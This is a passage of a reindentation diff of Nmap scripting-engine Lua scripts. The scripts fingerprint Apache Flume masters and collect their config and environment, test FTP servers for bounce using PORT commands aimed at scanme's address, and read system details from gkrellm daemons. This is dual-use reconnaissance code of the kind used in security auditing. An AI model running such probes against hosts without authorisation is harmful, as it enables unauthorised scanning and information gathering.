stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1")))
|
||||
if nmap.verbosity() > 1 then
|
||||
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
|
||||
else
|
||||
for i,v in ipairs(intresting_keys) do
|
||||
if name:match(("^%s"):format(v)) then
|
||||
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local result = {}
|
||||
local uri = "/flumemaster.jsp"
|
||||
local env_uri = "/masterenv.jsp"
|
||||
local config_uri = "/masterstaticconfig.jsp"
|
||||
local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"}
|
||||
local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"}
|
||||
local nodes = { }
|
||||
local zookeepers = { }
|
||||
local hbasemasters = { }
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
local capacity = {}
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
if body:match("Version:%s*</b>([^][,]+)") then
|
||||
local version = body:match("Version:%s*</b>([^][,]+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||
result[#result+1] = ("Version: %s"):format(version)
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("Compiled:%s*</b>([^][<]+)") then
|
||||
local compiled = body:match("Compiled:%s*</b>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
result[#result+1] = ("Compiled: %s"):format(compiled)
|
||||
end
|
||||
if body:match("ServerID:%s*([^][<]+)") then
|
||||
local upgrades = body:match("ServerID:%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades))
|
||||
result[#result] = ("ServerID: %s"):format(upgrades)
|
||||
end
|
||||
for logical,physical,hostname in string.gmatch(body,"<tr><td>([%w%.-_:]+)</td><td>([%w%.]+)</td><td>([%w%.]+)</td>") do
|
||||
stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname))
|
||||
if (table_count(nodes, hostname) == 0) then
|
||||
nodes[#nodes+1] = hostname
|
||||
add_target(hostname)
|
||||
end
|
||||
end
|
||||
if next(nodes) ~= nil then
|
||||
table.insert(result, "Flume nodes:")
|
||||
result[#result+1] = nodes
|
||||
end
|
||||
for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
|
||||
if (table_count(zookeepers, zookeeper) == 0) then
|
||||
zookeepers[#zookeepers+1] = zookeeper
|
||||
add_target(zookeeper)
|
||||
end
|
||||
end
|
||||
if next(zookeepers) ~= nil then
|
||||
result[#result+1] = "Zookeeper Master:"
|
||||
result[#result+1] = zookeepers
|
||||
end
|
||||
for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
|
||||
if (table_count(hbasemasters, hbasemaster) == 0) then
|
||||
hbasemasters[#hbasemasters+1] = hbasemaster
|
||||
add_target(hbasemaster)
|
||||
end
|
||||
end
|
||||
if next(hbasemasters) ~= nil then
|
||||
result[#result+1] = "Hbase Master Master:"
|
||||
result[#result+1] = hbasemasters
|
||||
end
|
||||
local vars = parse_page(host, port, env_uri, env_keys )
|
||||
if next(vars) ~= nil then
|
||||
result[#result+1] = "Enviroment: "
|
||||
result[#result+1] = vars
|
||||
end
|
||||
local vars = parse_page(host, port, config_uri, config_keys )
|
||||
if next(vars) ~= nil then
|
||||
result[#result+1] = "Config: "
|
||||
result[#result+1] = vars
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "flume-master"
|
||||
port.version.product = "Apache Flume"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
local result = {}
|
||||
local uri = "/flumemaster.jsp"
|
||||
local env_uri = "/masterenv.jsp"
|
||||
local config_uri = "/masterstaticconfig.jsp"
|
||||
local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"}
|
||||
local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"}
|
||||
local nodes = { }
|
||||
local zookeepers = { }
|
||||
local hbasemasters = { }
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
local capacity = {}
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
if body:match("Version:%s*</b>([^][,]+)") then
|
||||
local version = body:match("Version:%s*</b>([^][,]+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||
result[#result+1] = ("Version: %s"):format(version)
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("Compiled:%s*</b>([^][<]+)") then
|
||||
local compiled = body:match("Compiled:%s*</b>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
result[#result+1] = ("Compiled: %s"):format(compiled)
|
||||
end
|
||||
if body:match("ServerID:%s*([^][<]+)") then
|
||||
local upgrades = body:match("ServerID:%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades))
|
||||
result[#result] = ("ServerID: %s"):format(upgrades)
|
||||
end
|
||||
for logical,physical,hostname in string.gmatch(body,"<tr><td>([%w%.-_:]+)</td><td>([%w%.]+)</td><td>([%w%.]+)</td>") do
|
||||
stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname))
|
||||
if (table_count(nodes, hostname) == 0) then
|
||||
nodes[#nodes+1] = hostname
|
||||
add_target(hostname)
|
||||
end
|
||||
end
|
||||
if next(nodes) ~= nil then
|
||||
table.insert(result, "Flume nodes:")
|
||||
result[#result+1] = nodes
|
||||
end
|
||||
for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
|
||||
if (table_count(zookeepers, zookeeper) == 0) then
|
||||
zookeepers[#zookeepers+1] = zookeeper
|
||||
add_target(zookeeper)
|
||||
end
|
||||
end
|
||||
if next(zookeepers) ~= nil then
|
||||
result[#result+1] = "Zookeeper Master:"
|
||||
result[#result+1] = zookeepers
|
||||
end
|
||||
for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
|
||||
if (table_count(hbasemasters, hbasemaster) == 0) then
|
||||
hbasemasters[#hbasemasters+1] = hbasemaster
|
||||
add_target(hbasemaster)
|
||||
end
|
||||
end
|
||||
if next(hbasemasters) ~= nil then
|
||||
result[#result+1] = "Hbase Master Master:"
|
||||
result[#result+1] = hbasemasters
|
||||
end
|
||||
local vars = parse_page(host, port, env_uri, env_keys )
|
||||
if next(vars) ~= nil then
|
||||
result[#result+1] = "Enviroment: "
|
||||
result[#result+1] = vars
|
||||
end
|
||||
local vars = parse_page(host, port, config_uri, config_keys )
|
||||
if next(vars) ~= nil then
|
||||
result[#result+1] = "Config: "
|
||||
result[#result+1] = vars
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "flume-master"
|
||||
port.version.product = "Apache Flume"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -34,191 +34,191 @@ categories = {"default", "safe"}
|
||||
portrule = shortport.service("ftp")
|
||||
|
||||
line_iterate = function(s)
|
||||
local line
|
||||
for line in string.gmatch(s, "([^\n$]*)") do
|
||||
if #line > 0 then
|
||||
coroutine.yield(line)
|
||||
end
|
||||
end
|
||||
local line
|
||||
for line in string.gmatch(s, "([^\n$]*)") do
|
||||
if #line > 0 then
|
||||
coroutine.yield(line)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- returns last ftp code read, or 000 on timeout
|
||||
get_ftp_code = function(socket)
|
||||
local fcode = 000
|
||||
local code = 0
|
||||
local status
|
||||
local result
|
||||
local co
|
||||
local line
|
||||
local err
|
||||
local fcode = 000
|
||||
local code = 0
|
||||
local status
|
||||
local result
|
||||
local co
|
||||
local line
|
||||
local err
|
||||
|
||||
while true do
|
||||
status, result = socket:receive()
|
||||
if not status then
|
||||
break
|
||||
end
|
||||
-- read okay!
|
||||
co = coroutine.create(line_iterate)
|
||||
while coroutine.status(co) ~= 'dead' do
|
||||
err, line = coroutine.resume(co, result)
|
||||
if line then
|
||||
code = string.match(line, "^(%d%d%d) ")
|
||||
if not code then
|
||||
code = "-1"
|
||||
end
|
||||
-- io.write(">" .. code .. ":".. line .. "<\n")
|
||||
if tonumber(code) > 0 then
|
||||
fcode = tonumber(code)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- not received good ftp code, try again
|
||||
if fcode ~= 0 then
|
||||
break
|
||||
end
|
||||
end
|
||||
-- io.write("## " .. fcode .. "\n");
|
||||
return fcode
|
||||
while true do
|
||||
status, result = socket:receive()
|
||||
if not status then
|
||||
break
|
||||
end
|
||||
-- read okay!
|
||||
co = coroutine.create(line_iterate)
|
||||
while coroutine.status(co) ~= 'dead' do
|
||||
err, line = coroutine.resume(co, result)
|
||||
if line then
|
||||
code = string.match(line, "^(%d%d%d) ")
|
||||
if not code then
|
||||
code = "-1"
|
||||
end
|
||||
-- io.write(">" .. code .. ":".. line .. "<\n")
|
||||
if tonumber(code) > 0 then
|
||||
fcode = tonumber(code)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- not received good ftp code, try again
|
||||
if fcode ~= 0 then
|
||||
break
|
||||
end
|
||||
end
|
||||
-- io.write("## " .. fcode .. "\n");
|
||||
return fcode
|
||||
end
|
||||
|
||||
local get_login = function()
|
||||
local user, pass
|
||||
local k
|
||||
local user, pass
|
||||
local k
|
||||
|
||||
for _, k in ipairs({"ftp-bounce.username", "username"}) do
|
||||
if nmap.registry.args[k] then
|
||||
user = nmap.registry.args[k]
|
||||
break
|
||||
end
|
||||
end
|
||||
for _, k in ipairs({"ftp-bounce.username", "username"}) do
|
||||
if nmap.registry.args[k] then
|
||||
user = nmap.registry.args[k]
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
for _, k in ipairs({"ftp-bounce.password", "password"}) do
|
||||
if nmap.registry.args[k] then
|
||||
pass = nmap.registry.args[k]
|
||||
break
|
||||
end
|
||||
end
|
||||
for _, k in ipairs({"ftp-bounce.password", "password"}) do
|
||||
if nmap.registry.args[k] then
|
||||
pass = nmap.registry.args[k]
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return user or "anonymous", pass or "IEUser@"
|
||||
return user or "anonymous", pass or "IEUser@"
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local result;
|
||||
local status = true
|
||||
local isAnon = false
|
||||
local isOk = false
|
||||
local sendPass = true
|
||||
local user, pass = get_login()
|
||||
local fc
|
||||
local socket = nmap.new_socket()
|
||||
local result;
|
||||
local status = true
|
||||
local isAnon = false
|
||||
local isOk = false
|
||||
local sendPass = true
|
||||
local user, pass = get_login()
|
||||
local fc
|
||||
|
||||
socket:set_timeout(10000)
|
||||
socket:connect(host, port)
|
||||
socket:set_timeout(10000)
|
||||
socket:connect(host, port)
|
||||
|
||||
-- BANNER
|
||||
fc = get_ftp_code(socket)
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- no banner
|
||||
return "no banner"
|
||||
end
|
||||
if fc == 421 or (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
-- return "server says you are not allowed to create connection"
|
||||
return
|
||||
end
|
||||
if fc < 200 or fc > 299 then
|
||||
socket:close()
|
||||
-- bad code
|
||||
-- return "bad banner (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
-- BANNER
|
||||
fc = get_ftp_code(socket)
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- no banner
|
||||
return "no banner"
|
||||
end
|
||||
if fc == 421 or (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
-- return "server says you are not allowed to create connection"
|
||||
return
|
||||
end
|
||||
if fc < 200 or fc > 299 then
|
||||
socket:close()
|
||||
-- bad code
|
||||
-- return "bad banner (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
|
||||
socket:set_timeout(5000)
|
||||
-- USER
|
||||
socket:send("USER " .. user .. "\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
-- bad code
|
||||
--return "anonymous user not allowed"
|
||||
return
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "anonymous user timeouted"
|
||||
return
|
||||
end
|
||||
if fc ~= 230 and fc ~= 331 then
|
||||
socket:close()
|
||||
-- bad code
|
||||
-- return "bad response for anonymous user (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
if fc == 230 then
|
||||
sendPass = false
|
||||
end
|
||||
socket:set_timeout(5000)
|
||||
-- USER
|
||||
socket:send("USER " .. user .. "\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
-- bad code
|
||||
--return "anonymous user not allowed"
|
||||
return
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "anonymous user timeouted"
|
||||
return
|
||||
end
|
||||
if fc ~= 230 and fc ~= 331 then
|
||||
socket:close()
|
||||
-- bad code
|
||||
-- return "bad response for anonymous user (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
if fc == 230 then
|
||||
sendPass = false
|
||||
end
|
||||
|
||||
-- PASS
|
||||
if sendPass then
|
||||
socket:send("PASS " .. pass .. "\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then
|
||||
socket:close()
|
||||
-- bad code
|
||||
-- return "anonymous user/pass rejected"
|
||||
return
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "anonymous pass timeouted"
|
||||
return
|
||||
end
|
||||
if fc ~= 230 and fc ~= 200 then
|
||||
socket:close()
|
||||
-- return "answer to PASS not understood (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
end
|
||||
-- PASS
|
||||
if sendPass then
|
||||
socket:send("PASS " .. pass .. "\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then
|
||||
socket:close()
|
||||
-- bad code
|
||||
-- return "anonymous user/pass rejected"
|
||||
return
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "anonymous pass timeouted"
|
||||
return
|
||||
end
|
||||
if fc ~= 230 and fc ~= 200 then
|
||||
socket:close()
|
||||
-- return "answer to PASS not understood (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
-- PORT scanme.nmap.com:highport
|
||||
socket:send("PORT 205,217,153,62,80,80\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
-- return "server forbids bouncing"
|
||||
return
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "PORT command timeouted"
|
||||
return
|
||||
end
|
||||
if not (fc >= 200 and fc<=299) then
|
||||
socket:close()
|
||||
-- return "PORT response not understood (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
-- PORT scanme.nmap.com:highport
|
||||
socket:send("PORT 205,217,153,62,80,80\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
-- return "server forbids bouncing"
|
||||
return
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "PORT command timeouted"
|
||||
return
|
||||
end
|
||||
if not (fc >= 200 and fc<=299) then
|
||||
socket:close()
|
||||
-- return "PORT response not understood (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
|
||||
-- PORT scanme.nmap.com:lowport
|
||||
socket:send("PORT 205,217,153,62,0,80\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
return "server forbids bouncing to low ports <1025"
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "PORT command timeouted for low port"
|
||||
return
|
||||
end
|
||||
if not (fc >= 200 and fc<=299) then
|
||||
socket:close()
|
||||
-- return "PORT response not understood for low port (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
-- PORT scanme.nmap.com:lowport
|
||||
socket:send("PORT 205,217,153,62,0,80\r\n")
|
||||
fc = get_ftp_code(socket)
|
||||
if (fc >= 500 and fc <= 599) then
|
||||
socket:close()
|
||||
return "server forbids bouncing to low ports <1025"
|
||||
end
|
||||
if fc == 0 then
|
||||
socket:close()
|
||||
-- return "PORT command timeouted for low port"
|
||||
return
|
||||
end
|
||||
if not (fc >= 200 and fc<=299) then
|
||||
socket:close()
|
||||
-- return "PORT response not understood for low port (code " .. fc .. ")"
|
||||
return
|
||||
end
|
||||
|
||||
socket:close()
|
||||
return "bounce working!"
|
||||
socket:close()
|
||||
return "bounce working!"
|
||||
end
|
||||
|
||||
|
||||
@@ -55,167 +55,167 @@ portrule = shortport.port_or_service(19150, "gkrellm", "tcp")
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
local long_names = {
|
||||
["fs_mounts"] = "Mounts",
|
||||
["net"] = "Network",
|
||||
["hostname"] = "Hostname",
|
||||
["sysname"] = "System",
|
||||
["version"] = "Version",
|
||||
["uptime"] = "Uptime",
|
||||
["mem"] = "Memory",
|
||||
["proc"] = "Processes",
|
||||
["fs_mounts"] = "Mounts",
|
||||
["net"] = "Network",
|
||||
["hostname"] = "Hostname",
|
||||
["sysname"] = "System",
|
||||
["version"] = "Version",
|
||||
["uptime"] = "Uptime",
|
||||
["mem"] = "Memory",
|
||||
["proc"] = "Processes",
|
||||
}
|
||||
|
||||
local order = {
|
||||
"Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
|
||||
"Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
|
||||
}
|
||||
|
||||
local function getOrderPos(tag)
|
||||
for i=1, #order do
|
||||
if ( tag.name == order[i] ) then
|
||||
return i
|
||||
elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
|
||||
return i
|
||||
end
|
||||
end
|
||||
return 1
|
||||
for i=1, #order do
|
||||
if ( tag.name == order[i] ) then
|
||||
return i
|
||||
elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
|
||||
return i
|
||||
end
|
||||
end
|
||||
return 1
|
||||
end
|
||||
|
||||
local function minutesToUptime(value)
|
||||
local days = math.floor(value / (60 * 24))
|
||||
local htime = math.fmod(value, (60 * 24))
|
||||
local hours = math.floor(htime / 60)
|
||||
local mtime = math.fmod(htime, 60)
|
||||
local minutes = math.floor(mtime)
|
||||
local output = ""
|
||||
if ( days > 0 ) then
|
||||
output = output .. ("%d days, "):format(days)
|
||||
end
|
||||
if ( hours > 0 ) then
|
||||
output = output .. ("%d hours, "):format(hours)
|
||||
end
|
||||
if ( minutes > 0 ) then
|
||||
output = output .. ("%d minutes"):format(minutes)
|
||||
end
|
||||
return output
|
||||
local days = math.floor(value / (60 * 24))
|
||||
local htime = math.fmod(value, (60 * 24))
|
||||
local hours = math.floor(htime / 60)
|
||||
local mtime = math.fmod(htime, 60)
|
||||
local minutes = math.floor(mtime)
|
||||
local output = ""
|
||||
if ( days > 0 ) then
|
||||
output = output .. ("%d days, "):format(days)
|
||||
end
|
||||
if ( hours > 0 ) then
|
||||
output = output .. ("%d hours, "):format(hours)
|
||||
end
|
||||
if ( minutes > 0 ) then
|
||||
output = output .. ("%d minutes"):format(minutes)
|
||||
end
|
||||
return output
|
||||
end
|
||||
|
||||
local function decodeTag(tag, lines)
|
||||
local result = { name = long_names[tag] }
|
||||
local order
|
||||
local result = { name = long_names[tag] }
|
||||
local order
|
||||
|
||||
if ( "fs_mounts" == tag ) then
|
||||
local fs_tab = tab.new(4)
|
||||
tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
|
||||
for _, line in ipairs(lines) do
|
||||
if ( ".clear" ~= line ) then
|
||||
local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line))
|
||||
if ( size and free and mount and fstype ) then
|
||||
size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
|
||||
free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
|
||||
tab.addrow(fs_tab, mount, fstype, size, free)
|
||||
end
|
||||
end
|
||||
end
|
||||
table.insert(result, tab.dump(fs_tab))
|
||||
elseif ( "net" == tag ) then
|
||||
local net_tab = tab.new(3)
|
||||
tab.addrow(net_tab, "Interface", "Received", "Transmitted")
|
||||
for _, line in ipairs(lines) do
|
||||
local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
|
||||
rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
|
||||
tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
|
||||
tab.addrow(net_tab, name, rx, tx)
|
||||
end
|
||||
table.insert(result, tab.dump(net_tab))
|
||||
elseif ( "hostname" == tag or "sysname" == tag or
|
||||
"version" == tag ) then
|
||||
return ("%s: %s"):format(long_names[tag], lines[1])
|
||||
elseif ( "uptime" == tag ) then
|
||||
return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1]))
|
||||
elseif ( "mem" == tag ) then
|
||||
local total, used = table.unpack(stdnse.strsplit("%s", lines[1]))
|
||||
if ( not(total) or not(used) ) then
|
||||
return
|
||||
end
|
||||
local free = math.ceil((total - used)/1048576)
|
||||
total = math.ceil(tonumber(total)/1048576)
|
||||
return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
|
||||
elseif ( "proc" == tag ) then
|
||||
local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1]))
|
||||
if ( not(procs) or not(forks) or not(load) or not(users) ) then
|
||||
return
|
||||
end
|
||||
return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
|
||||
end
|
||||
return ( #result > 0 and result or nil )
|
||||
if ( "fs_mounts" == tag ) then
|
||||
local fs_tab = tab.new(4)
|
||||
tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
|
||||
for _, line in ipairs(lines) do
|
||||
if ( ".clear" ~= line ) then
|
||||
local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line))
|
||||
if ( size and free and mount and fstype ) then
|
||||
size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
|
||||
free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
|
||||
tab.addrow(fs_tab, mount, fstype, size, free)
|
||||
end
|
||||
end
|
||||
end
|
||||
table.insert(result, tab.dump(fs_tab))
|
||||
elseif ( "net" == tag ) then
|
||||
local net_tab = tab.new(3)
|
||||
tab.addrow(net_tab, "Interface", "Received", "Transmitted")
|
||||
for _, line in ipairs(lines) do
|
||||
local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
|
||||
rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
|
||||
tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
|
||||
tab.addrow(net_tab, name, rx, tx)
|
||||
end
|
||||
table.insert(result, tab.dump(net_tab))
|
||||
elseif ( "hostname" == tag or "sysname" == tag or
|
||||
"version" == tag ) then
|
||||
return ("%s: %s"):format(long_names[tag], lines[1])
|
||||
elseif ( "uptime" == tag ) then
|
||||
return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1]))
|
||||
elseif ( "mem" == tag ) then
|
||||
local total, used = table.unpack(stdnse.strsplit("%s", lines[1]))
|
||||
if ( not(total) or not(used) ) then
|
||||
return
|
||||
end
|
||||
local free = math.ceil((total - used)/1048576)
|
||||
total = math.ceil(tonumber(total)/1048576)
|
||||
return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
|
||||
elseif ( "proc" == tag ) then
|
||||
local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1]))
|
||||
if ( not(procs) or not(forks) or not(load) or not(users) ) then
|
||||
return
|
||||
end
|
||||
return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
|
||||
end
|
||||
return ( #result > 0 and result or nil )
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
|
||||
if ( not(socket:connect(host, port)) ) then
|
||||
return fail("Failed to connect to the server")
|
||||
end
|
||||
if ( not(socket:connect(host, port)) ) then
|
||||
return fail("Failed to connect to the server")
|
||||
end
|
||||
|
||||
-- If there's an error we get a response back, and only then
|
||||
local status, data = socket:receive_buf("\n", false)
|
||||
if( status and data ~= "<error>" ) then
|
||||
return fail("An unknown error occured, aborting ...")
|
||||
elseif ( status ) then
|
||||
status, data = socket:receive_buf("\n", false)
|
||||
if ( status ) then
|
||||
return fail(data)
|
||||
else
|
||||
return fail("Failed to receive error message from server")
|
||||
end
|
||||
end
|
||||
-- If there's an error we get a response back, and only then
|
||||
local status, data = socket:receive_buf("\n", false)
|
||||
if( status and data ~= "<error>" ) then
|
||||
return fail("An unknown error occured, aborting ...")
|
||||
elseif ( status ) then
|
||||
status, data = socket:receive_buf("\n", false)
|
||||
if ( status ) then
|
||||
return fail(data)
|
||||
else
|
||||
return fail("Failed to receive error message from server")
|
||||
end
|
||||
end
|
||||
|
||||
if ( not(socket:send("gkrellm 2.3.4\n")) ) then
|
||||
return fail("Failed to send data to the server")
|
||||
end
|
||||
if ( not(socket:send("gkrellm 2.3.4\n")) ) then
|
||||
return fail("Failed to send data to the server")
|
||||
end
|
||||
|
||||
local tags = {}
|
||||
local status, tag = socket:receive_buf("\n", false)
|
||||
while(true) do
|
||||
if ( not(status) ) then
|
||||
break
|
||||
end
|
||||
if ( not(tag:match("^<.*>$")) ) then
|
||||
stdnse.print_debug(2, "Expected tag, got: %s", tag)
|
||||
break
|
||||
else
|
||||
tag = tag:match("^<(.*)>$")
|
||||
end
|
||||
local tags = {}
|
||||
local status, tag = socket:receive_buf("\n", false)
|
||||
while(true) do
|
||||
if ( not(status) ) then
|
||||
break
|
||||
end
|
||||
if ( not(tag:match("^<.*>$")) ) then
|
||||
stdnse.print_debug(2, "Expected tag, got: %s", tag)
|
||||
break
|
||||
else
|
||||
tag = tag:match("^<(.*)>$")
|
||||
end
|
||||
|
||||
if ( tags[tag] ) then
|
||||
break
|
||||
end
|
||||
if ( tags[tag] ) then
|
||||
break
|
||||
end
|
||||
|
||||
while(true) do
|
||||
local data
|
||||
status, data = socket:receive_buf("\n", false)
|
||||
if ( not(status) ) then
|
||||
break
|
||||
end
|
||||
if ( status and data:match("^<.*>$") ) then
|
||||
tag = data
|
||||
break
|
||||
end
|
||||
tags[tag] = tags[tag] or {}
|
||||
table.insert(tags[tag], data)
|
||||
end
|
||||
end
|
||||
socket:close()
|
||||
while(true) do
|
||||
local data
|
||||
status, data = socket:receive_buf("\n", false)
|
||||
if ( not(status) ) then
|
||||
break
|
||||
end
|
||||
if ( status and data:match("^<.*>$") ) then
|
||||
tag = data
|
||||
break
|
||||
end
|
||||
tags[tag] = tags[tag] or {}
|
||||
table.insert(tags[tag], data)
|
||||
end
|
||||
end
|
||||
socket:close()
|
||||
|
||||
local output = {}
|
||||
for tag in pairs(tags) do
|
||||
local result, order = decodeTag(tag, tags[tag])
|
||||
if ( result ) then
|
||||
table.insert(output, result)
|
||||
end
|
||||
end
|
||||
local output = {}
|
||||
for tag in pairs(tags) do
|
||||
local result, order = decodeTag(tag, tags[tag])
|
||||
if ( result ) then
|
||||
table.insert(output, result)
|
||||
end
|
||||
end
|
||||
|
||||
table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
|
